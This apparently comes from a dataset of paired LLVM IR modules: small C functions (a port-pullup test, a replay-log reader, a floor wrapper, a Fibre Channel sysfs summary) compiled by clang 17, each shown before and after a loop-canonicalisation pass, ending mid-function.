@.str.2 = private unnamed_addr constant [7 x i8] c"setInt\00", align 1
@.str.3 = private unnamed_addr constant [8 x i8] c"setLong\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @getSetter(i32 noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store i32 %0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
switch i32 %4, label %9 [
i32 1, label %5
i32 2, label %6
i32 4, label %7
i32 8, label %8
]
5: ; preds = %1
store ptr @.str, ptr %2, align 8
br label %11
6: ; preds = %1
store ptr @.str.1, ptr %2, align 8
br label %11
7: ; preds = %1
store ptr @.str.2, ptr %2, align 8
br label %11
8: ; preds = %1
store ptr @.str.3, ptr %2, align 8
br label %11
9: ; preds = %1
%10 = call i32 @exit(i32 noundef 1) #2
unreachable
11: ; preds = %8, %7, %6, %5
%12 = load ptr, ptr %2, align 8
ret ptr %12
}
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp159qf9q6.c'
source_filename = "/tmp/tmp159qf9q6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
@_IONBF = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [14 x i8] c"Test passed \0A\00", align 1
@.str.1 = private unnamed_addr constant [14 x i8] c"Test Failed \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%9 = load i32, ptr @stdout, align 4
%10 = load i32, ptr @_IONBF, align 4
%11 = call i32 @setvbuf(i32 noundef %9, ptr noundef null, i32 noundef %10, i32 noundef 0)
store i32 1, ptr %6, align 4
store i32 0, ptr %7, align 4
%12 = call i32 @IOPi_init(i32 noundef 32, i32 noundef 0)
store i32 0, ptr %8, align 4
br label %13
13: ; preds = %33, %2
%14 = load i32, ptr %8, align 4
%15 = icmp slt i32 %14, 255
br i1 %15, label %16, label %36
16: ; preds = %13
%17 = load i32, ptr %8, align 4
%18 = call i32 @set_port_pullups(i32 noundef 32, i32 noundef 0, i32 noundef %17)
%19 = call i32 @get_port_pullups(i32 noundef 32, i32 noundef 0)
store i32 %19, ptr %7, align 4
%20 = load i32, ptr %7, align 4
%21 = load i32, ptr %8, align 4
%22 = icmp ne i32 %20, %21
br i1 %22, label %23, label %24
23: ; preds = %16
store i32 0, ptr %6, align 4
br label %36
24: ; preds = %16
%25 = load i32, ptr %8, align 4
%26 = call i32 @set_port_pullups(i32 noundef 32, i32 noundef 1, i32 noundef %25)
%27 = call i32 @get_port_pullups(i32 noundef 32, i32 noundef 1)
store i32 %27, ptr %7, align 4
%28 = load i32, ptr %7, align 4
%29 = load i32, ptr %8, align 4
%30 = icmp ne i32 %28, %29
br i1 %30, label %31, label %32
31: ; preds = %24
store i32 0, ptr %6, align 4
br label %36
32: ; preds = %24
br label %33
33: ; preds = %32
%34 = load i32, ptr %8, align 4
%35 = add nsw i32 %34, 1
store i32 %35, ptr %8, align 4
br label %13, !llvm.loop !6
36: ; preds = %31, %23, %13
%37 = load i32, ptr %6, align 4
%38 = icmp ne i32 %37, 0
br i1 %38, label %39, label %41
39: ; preds = %36
%40 = call i32 @printf(ptr noundef @.str)
br label %43
41: ; preds = %36
%42 = call i32 @printf(ptr noundef @.str.1)
br label %43
43: ; preds = %41, %39
%44 = load i32, ptr %4, align 4
%45 = load ptr, ptr %5, align 8
ret i32 0
}
declare i32 @setvbuf(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @IOPi_init(i32 noundef, i32 noundef) #1
declare i32 @set_port_pullups(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @get_port_pullups(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp159qf9q6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
@_IONBF = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [14 x i8] c"Test passed \0A\00", align 1
@.str.1 = private unnamed_addr constant [14 x i8] c"Test Failed \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%9 = load i32, ptr @stdout, align 4
%10 = load i32, ptr @_IONBF, align 4
%11 = call i32 @setvbuf(i32 noundef %9, ptr noundef null, i32 noundef %10, i32 noundef 0)
store i32 1, ptr %6, align 4
store i32 0, ptr %7, align 4
%12 = call i32 @IOPi_init(i32 noundef 32, i32 noundef 0)
store i32 0, ptr %8, align 4
%13 = load i32, ptr %8, align 4
%14 = icmp slt i32 %13, 255
br i1 %14, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %2
br label %15
15: ; preds = %.lr.ph, %32
%16 = load i32, ptr %8, align 4
%17 = call i32 @set_port_pullups(i32 noundef 32, i32 noundef 0, i32 noundef %16)
%18 = call i32 @get_port_pullups(i32 noundef 32, i32 noundef 0)
store i32 %18, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %8, align 4
%21 = icmp ne i32 %19, %20
br i1 %21, label %22, label %23
22: ; preds = %15
store i32 0, ptr %6, align 4
br label %37
23: ; preds = %15
%24 = load i32, ptr %8, align 4
%25 = call i32 @set_port_pullups(i32 noundef 32, i32 noundef 1, i32 noundef %24)
%26 = call i32 @get_port_pullups(i32 noundef 32, i32 noundef 1)
store i32 %26, ptr %7, align 4
%27 = load i32, ptr %7, align 4
%28 = load i32, ptr %8, align 4
%29 = icmp ne i32 %27, %28
br i1 %29, label %30, label %31
30: ; preds = %23
store i32 0, ptr %6, align 4
br label %37
31: ; preds = %23
br label %32
32: ; preds = %31
%33 = load i32, ptr %8, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %8, align 4
%35 = load i32, ptr %8, align 4
%36 = icmp slt i32 %35, 255
br i1 %36, label %15, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %32
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %2
br label %37
37: ; preds = %.loopexit, %30, %22
%38 = load i32, ptr %6, align 4
%39 = icmp ne i32 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %37
%41 = call i32 @printf(ptr noundef @.str)
br label %44
42: ; preds = %37
%43 = call i32 @printf(ptr noundef @.str.1)
br label %44
44: ; preds = %42, %40
%45 = load i32, ptr %4, align 4
%46 = load ptr, ptr %5, align 8
ret i32 0
}
declare i32 @setvbuf(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @IOPi_init(i32 noundef, i32 noundef) #1
declare i32 @set_port_pullups(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @get_port_pullups(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpa73r0bfw.c'
source_filename = "/tmp/tmpa73r0bfw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pip(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @push(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @pop(ptr noundef %5)
ret void
}
declare i32 @push(ptr noundef) #1
declare i32 @pop(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpa73r0bfw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pip(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @push(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @pop(ptr noundef %5)
ret void
}
declare i32 @push(ptr noundef) #1
declare i32 @pop(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpm7i0b25y.c'
source_filename = "/tmp/tmpm7i0b25y.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"replay key\0A \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @log_replay(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca [128 x i8], align 16
%6 = alloca [128 x i8], align 16
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
br label %9
9: ; preds = %2, %37
%10 = load i32, ptr %3, align 4
%11 = call i32 (i32, ...) @read(i32 noundef %10, ptr noundef %7, i64 noundef 4)
%12 = sext i32 %11 to i64
%13 = icmp ne i64 %12, 4
br i1 %13, label %14, label %15
14: ; preds = %9
br label %48
15: ; preds = %9
%16 = load i32, ptr %3, align 4
%17 = call i32 (i32, ...) @read(i32 noundef %16, ptr noundef %8, i64 noundef 4)
%18 = sext i32 %17 to i64
%19 = icmp ne i64 %18, 4
br i1 %19, label %20, label %21
20: ; preds = %15
br label %48
21: ; preds = %15
%22 = load i32, ptr %3, align 4
%23 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%24 = load i32, ptr %7, align 4
%25 = call i32 (i32, ...) @read(i32 noundef %22, ptr noundef %23, i32 noundef %24)
%26 = load i32, ptr %7, align 4
%27 = icmp ne i32 %25, %26
br i1 %27, label %28, label %29
28: ; preds = %21
br label %48
29: ; preds = %21
%30 = load i32, ptr %3, align 4
%31 = getelementptr inbounds [128 x i8], ptr %6, i64 0, i64 0
%32 = load i32, ptr %8, align 4
%33 = call i32 (i32, ...) @read(i32 noundef %30, ptr noundef %31, i32 noundef %32)
%34 = load i32, ptr %8, align 4
%35 = icmp ne i32 %33, %34
br i1 %35, label %36, label %37
36: ; preds = %29
br label %48
37: ; preds = %29
%38 = load ptr, ptr %4, align 8
%39 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%40 = getelementptr inbounds [128 x i8], ptr %6, i64 0, i64 0
%41 = load i32, ptr %7, align 4
%42 = load i32, ptr %8, align 4
%43 = call i32 @hashtable_insert(ptr noundef %38, ptr noundef %39, ptr noundef %40, i32 noundef %41, i32 noundef %42)
%44 = call i32 @printf(ptr noundef @.str)
%45 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%46 = load i32, ptr %7, align 4
%47 = call i32 @stampa(ptr noundef %45, i32 noundef %46)
br label %9
48: ; preds = %36, %28, %20, %14
ret void
}
declare i32 @read(i32 noundef, ...) #1
declare i32 @hashtable_insert(ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @stampa(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpm7i0b25y.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"replay key\0A \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @log_replay(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca [128 x i8], align 16
%6 = alloca [128 x i8], align 16
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%9 = load i32, ptr %3, align 4
%10 = call i32 (i32, ...) @read(i32 noundef %9, ptr noundef %7, i64 noundef 4)
%11 = sext i32 %10 to i64
%12 = icmp ne i64 %11, 4
br i1 %12, label %13, label %.lr.ph
.lr.ph: ; preds = %2
br label %14
._crit_edge: ; preds = %36
br label %13
13: ; preds = %._crit_edge, %2
br label %51
14: ; preds = %.lr.ph, %36
%15 = load i32, ptr %3, align 4
%16 = call i32 (i32, ...) @read(i32 noundef %15, ptr noundef %8, i64 noundef 4)
%17 = sext i32 %16 to i64
%18 = icmp ne i64 %17, 4
br i1 %18, label %19, label %20
19: ; preds = %14
br label %51
20: ; preds = %14
%21 = load i32, ptr %3, align 4
%22 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%23 = load i32, ptr %7, align 4
%24 = call i32 (i32, ...) @read(i32 noundef %21, ptr noundef %22, i32 noundef %23)
%25 = load i32, ptr %7, align 4
%26 = icmp ne i32 %24, %25
br i1 %26, label %27, label %28
27: ; preds = %20
br label %51
28: ; preds = %20
%29 = load i32, ptr %3, align 4
%30 = getelementptr inbounds [128 x i8], ptr %6, i64 0, i64 0
%31 = load i32, ptr %8, align 4
%32 = call i32 (i32, ...) @read(i32 noundef %29, ptr noundef %30, i32 noundef %31)
%33 = load i32, ptr %8, align 4
%34 = icmp ne i32 %32, %33
br i1 %34, label %35, label %36
35: ; preds = %28
br label %51
36: ; preds = %28
%37 = load ptr, ptr %4, align 8
%38 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%39 = getelementptr inbounds [128 x i8], ptr %6, i64 0, i64 0
%40 = load i32, ptr %7, align 4
%41 = load i32, ptr %8, align 4
%42 = call i32 @hashtable_insert(ptr noundef %37, ptr noundef %38, ptr noundef %39, i32 noundef %40, i32 noundef %41)
%43 = call i32 @printf(ptr noundef @.str)
%44 = getelementptr inbounds [128 x i8], ptr %5, i64 0, i64 0
%45 = load i32, ptr %7, align 4
%46 = call i32 @stampa(ptr noundef %44, i32 noundef %45)
%47 = load i32, ptr %3, align 4
%48 = call i32 (i32, ...) @read(i32 noundef %47, ptr noundef %7, i64 noundef 4)
%49 = sext i32 %48 to i64
%50 = icmp ne i64 %49, 4
br i1 %50, label %._crit_edge, label %14
51: ; preds = %35, %27, %19, %13
ret void
}
declare i32 @read(i32 noundef, ...) #1
declare i32 @hashtable_insert(ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @stampa(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpdp4wys7v.c'
source_filename = "/tmp/tmpdp4wys7v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ifloorf(float noundef %0) #0 {
%2 = alloca float, align 4
store float %0, ptr %2, align 4
%3 = load float, ptr %2, align 4
%4 = call i64 @floor(float noundef %3)
%5 = trunc i64 %4 to i32
ret i32 %5
}
declare i64 @floor(float noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdp4wys7v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @ifloorf(float noundef %0) #0 {
%2 = alloca float, align 4
store float %0, ptr %2, align 4
%3 = load float, ptr %2, align 4
%4 = call i64 @floor(float noundef %3)
%5 = trunc i64 %4 to i32
ret i32 %5
}
declare i64 @floor(float noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpu7gm2txu.c'
source_filename = "/tmp/tmpu7gm2txu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.dirent = type { ptr }
@PATH_MAX = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [19 x i8] c"/sys/class/fc_host\00", align 1
@DT_DIR = dso_local global i32 0, align 4
@DT_LNK = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [21 x i8] c"Class Device = \22%s\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [13 x i8] c"%s/%s/device\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"Class Device path = \22%s\22\0A\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"%s/%s\00", align 1
@DT_REG = dso_local global i32 0, align 4
@.str.5 = private unnamed_addr constant [9 x i8] c"%s/%s/%s\00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@stdout = dso_local global i32 0, align 4
@.str.7 = private unnamed_addr constant [13 x i8] c"%25s = \22%s\22\0A\00", align 1
@.str.8 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fc_host_summary(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
store i8 %0, ptr %2, align 1
%11 = load i32, ptr @PATH_MAX, align 4
%12 = zext i32 %11 to i64
%13 = call ptr @llvm.stacksave()
store ptr %13, ptr %6, align 8
%14 = alloca i8, i64 %12, align 16
store i64 %12, ptr %7, align 8
%15 = call i32 (ptr, ptr, ...) @sysfsparser_opendir(ptr noundef %3, ptr noundef @.str)
br label %16
16: ; preds = %70, %30, %1
%17 = load ptr, ptr %3, align 8
%18 = load i32, ptr @DT_DIR, align 4
%19 = load i32, ptr @DT_LNK, align 4
%20 = or i32 %18, %19
%21 = call ptr @sysfsparser_readfilename(ptr noundef %17, i32 noundef %20)
store ptr %21, ptr %4, align 8
%22 = icmp ne ptr %21, null
br i1 %22, label %23, label %77
23: ; preds = %16
%24 = load ptr, ptr %4, align 8
%25 = getelementptr inbounds %struct.dirent, ptr %24, i32 0, i32 0
%26 = load ptr, ptr %25, align 8
%27 = call i32 @printf(ptr noundef @.str.1, ptr noundef %26)
%28 = load i8, ptr %2, align 1
%29 = icmp ne i8 %28, 0
br i1 %29, label %31, label %30
30: ; preds = %23
br label %16, !llvm.loop !6
31: ; preds = %23
%32 = load i32, ptr @PATH_MAX, align 4
%33 = load ptr, ptr %4, align 8
%34 = getelementptr inbounds %struct.dirent, ptr %33, i32 0, i32 0
%35 = load ptr, ptr %34, align 8
%36 = call i32 (ptr, i32, ptr, ptr, ptr, ...) @snprintf(ptr noundef %14, i32 noundef %32, ptr noundef @.str.2, ptr noundef @.str, ptr noundef %35)
%37 = call ptr @realpath(ptr noundef %14, ptr noundef null)
store ptr %37, ptr %10, align 8
%38 = load ptr, ptr %10, align 8
%39 = call i32 @printf(ptr noundef @.str.3, ptr noundef %38)
%40 = load ptr, ptr %4, align 8
%41 = getelementptr inbounds %struct.dirent, ptr %40, i32 0, i32 0
%42 = load ptr, ptr %41, align 8
%43 = call i32 (ptr, ptr, ...) @sysfsparser_opendir(ptr noundef %8, ptr noundef @.str.4, ptr noundef @.str, ptr noundef %42)
br label %44
44: ; preds = %69, %31
%45 = load ptr, ptr %8, align 8
%46 = load i32, ptr @DT_REG, align 4
%47 = call ptr @sysfsparser_readfilename(ptr noundef %45, i32 noundef %46)
store ptr %47, ptr %9, align 8
%48 = icmp ne ptr %47, null
br i1 %48, label %49, label %70
49: ; preds = %44
%50 = load i32, ptr @PATH_MAX, align 4
%51 = load ptr, ptr %4, align 8
%52 = getelementptr inbounds %struct.dirent, ptr %51, i32 0, i32 0
%53 = load ptr, ptr %52, align 8
%54 = load ptr, ptr %9, align 8
%55 = getelementptr inbounds %struct.dirent, ptr %54, i32 0, i32 0
%56 = load ptr, ptr %55, align 8
%57 = call i32 (ptr, i32, ptr, ptr, ptr, ...) @snprintf(ptr noundef %14, i32 noundef %50, ptr noundef @.str.5, ptr noundef @.str, ptr noundef %53, ptr noundef %56)
%58 = call ptr @sysfsparser_getline(ptr noundef @.str.6, ptr noundef %14)
store ptr %58, ptr %5, align 8
%59 = icmp ne ptr %58, null
br i1 %59, label %60, label %69
60: ; preds = %49
%61 = load i32, ptr @stdout, align 4
%62 = load ptr, ptr %9, align 8
%63 = getelementptr inbounds %struct.dirent, ptr %62, i32 0, i32 0
%64 = load ptr, ptr %63, align 8
%65 = load ptr, ptr %5, align 8
%66 = call i32 @fprintf(i32 noundef %61, ptr noundef @.str.7, ptr noundef %64, ptr noundef %65)
%67 = load ptr, ptr %5, align 8
%68 = call i32 @free(ptr noundef %67)
br label %69
69: ; preds = %60, %49
br label %44, !llvm.loop !8
70: ; preds = %44
%71 = load i32, ptr @stdout, align 4
%72 = call i32 @fputs(ptr noundef @.str.8, i32 noundef %71)
%73 = load ptr, ptr %8, align 8
%74 = call i32 @sysfsparser_closedir(ptr noundef %73)
%75 = load ptr, ptr %10, align 8
